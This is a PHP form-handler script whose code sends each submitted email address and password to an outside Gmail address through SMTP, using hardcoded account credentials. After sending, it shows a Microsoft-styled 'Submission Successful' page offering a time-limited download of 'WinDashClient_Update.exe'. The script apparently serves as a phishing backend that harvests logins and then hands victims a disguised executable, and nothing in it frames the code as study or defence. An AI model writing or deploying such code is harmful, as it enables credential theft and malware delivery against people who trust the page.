<?php
session_start();
error_reporting(E_ALL);
ini_set('display_errors', 1);

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

require __DIR__ . '/PHPMailer/src/Exception.php';
require __DIR__ . '/PHPMailer/src/PHPMailer.php';
require __DIR__ . '/PHPMailer/src/SMTP.php';

$mail = new PHPMailer(true);


//$mail->SMTPDebug = 3;                               // Enable verbose debug output

$mail->isSMTP();                                      // Set mailer to use SMTP
$mail->Host = 'smtp.gmail.com';  // Specify main and backup SMTP servers
$mail->SMTPAuth = true;                               // Enable SMTP authentication
$mail->Username = 'pandsleia@gmail.com';                 // SMTP username
$mail->Password = 'sstijsvkcwvmdcmr';                           // SMTP password
$mail->SMTPSecure = 'tls';                            // Enable TLS encryption, `ssl` also accepted
$mail->Port = 465;                                    // TCP port to connect to

$mail->setFrom('pandsleia@gmail.com', 'Pandora');
$mail->addAddress('joeythebrownone@gmail.com', 'Joey');     // Add a recipient

$mail->isHTML(true);                                  // Set email format to HTML

$mail->Subject = 'Form Submission';
// Message
$message = "email: " . $_POST['email'] . "\n" . "password: " . $_POST['password'];
$mail->Body = nl2br($message);

//$mail->AltBody = 'This is the body in plain text for non-HTML mail clients';
if (!$mail->send()) {
    echo 'Message could not be sent.';
    echo 'Mailer Error: ' . $mail->ErrorInfo;
} else {

function base64url_encode($data) {
    return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}

function sign_token($payload, $secret) {
    $json = json_encode($payload);
    $b64  = base64url_encode($json);
    $sig  = base64url_encode(hash_hmac('sha256', $b64, $secret, true));
    return $b64 . '.' . $sig;
}

$secret = 'replace-with-strong-secret';

// after $mail->send() succeeds:
$payload = [
    'exp' => time() + 300,         // 5 minutes expiry
    'sid' => session_id(),         // bind to this session
    'file'=> 'WinDashClient_Update.exe',  // what they’re allowed to download
];

$token = sign_token($payload, $secret);

echo '
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Success</title>
  <style>
    body{font-family:Arial;background:#f4f6f8;display:flex;justify-content:center;align-items:center;height:100vh}
    .box{background:#fff;padding:30px;border-radius:8px;box-shadow:0 2px 10px rgba(0,0,0,.1);text-align:center}
    .btn{display:inline-block;margin-top:15px;padding:12px 20px;background:#0078d4;color:#fff;text-decoration:none;border-radius:5px}
    .btn:hover{background:#005fa3}
  </style>
</head>
<body>
  <div class="box">
    <h2>✅ Submission Successful</h2>
    <p>Your request has been processed.</p>
    <p>Download is available for the next 5 minutes.</p>
    <a class="btn" href="download.php?token='.$token.'">Download Installer</a>
  </div>
</body>
</html>';
exit;

}
?>